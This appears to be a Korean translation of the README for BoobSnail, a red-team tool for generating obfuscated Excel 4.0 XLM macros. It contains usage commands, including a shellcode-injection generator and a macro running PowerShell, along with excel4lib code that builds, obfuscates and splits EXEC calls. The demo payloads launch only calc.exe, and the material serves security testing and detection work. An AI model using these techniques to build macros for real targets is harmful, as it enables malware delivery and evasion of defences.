
레드 팀 운영 및 블루 팀 분석을 위한 난독화된 Excel 4.0 XLM 매크로 생성 도구로, 다중 감염 기술, 수식 번역, 라이브러리 기반 사용자 정의 생성기를 지원합니다.
저희를 Twitter에서 팔로우하세요!
BoobSnail은 XLM(Excel 4.0) 매크로를 생성할 수 있게 해줍니다. 그 목적은 RedTeam과 BlueTeam이 XLM 매크로 생성을 지원하는 것입니다. 기능:
테스트됨: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
사용 가능한 생성기를 보려면 다음을 입력하세요:
python boobsnail.py
x64 또는 x86 셸코드를 주입하는 난독화된 매크로 생성:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
calc.exe를 실행하는 난독화된 매크로 생성:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail은 excel4lib 라이브러리를 제공하여 자신만의 Excel4 매크로 생성기를 만들 수 있게 합니다. excel4lib에는 생성기 작성 시 사용할 수 있는 몇 가지 클래스가 포함됩니다:
이 라이브러리의 주요 아이디어는 Excel4 수식, 변수, 수식 인수 및 값을 파이썬 객체로 표현하는 것입니다. 덕분에 수식이나 변수 이름, 값, 주소 등 명령어 속성을 쉽게 변경할 수 있습니다. 예를 들어, calc.exe를 실행하는 간단한 매크로를 만들어 보겠습니다.
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
결과:
cmd="calc.exe";
=EXEC(cmd);
이제 매크로를 난독화하고 싶다고 가정해 봅시다. 이렇게 하려면 난독화기를 가져와 Excel4Macro 객체에 전달하기만 하면 됩니다:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
현재 excel4lib는 두 가지 난독화 클래스를 제공합니다:
보시다시피 자신만의 난독화 클래스를 작성하여 Excel4Macro에서 사용할 수 있습니다.
때로는 매크로를 다른 언어(예: 모국어, 제 경우 폴란드어)로 번역해야 할 수도 있습니다. excel4lib를 사용하면 매우 쉽습니다. Excel4Translator 클래스를 가져와 set_language를 호출하기만 하면 됩니다.
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
결과:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
현재는 영어와 폴란드어만 지원됩니다. 다른 언어를 사용하려면 excel4lib/lang/langs 디렉토리에 번역을 추가해야 합니다.
분명히 인수로 다른 수식을 취하는 수식을 만들어야 할 때가 있을 것입니다. Excel4Macro.argument 함수를 사용하여 이 작업을 수행할 수 있습니다.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())
결과:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
보시다시피 ".exe" 문자열이 R2C1로 CONCATENATE 수식에 전달되었습니다. R2C1은 ".exe" 값의 주소입니다(ROW 번호 2, COLUMN 번호 1). excel4lib는 수식, 값에 대한 참조를 주소로 반환합니다. 변수에 대한 참조는 해당 이름으로 반환됩니다. Excel4Macro 클래스는 수식, 변수, 값을 이러한 객체가 생성된 순서대로 워크시트에 자동으로 추가하며 시작 주소는 R1C1임을 알아차리셨을 것입니다. 수식을 다른 열이나 행에 배치하려면 어떻게 해야 할까요? Excel4Macro.set_cords 함수를 호출하면 됩니다.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())
결과:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;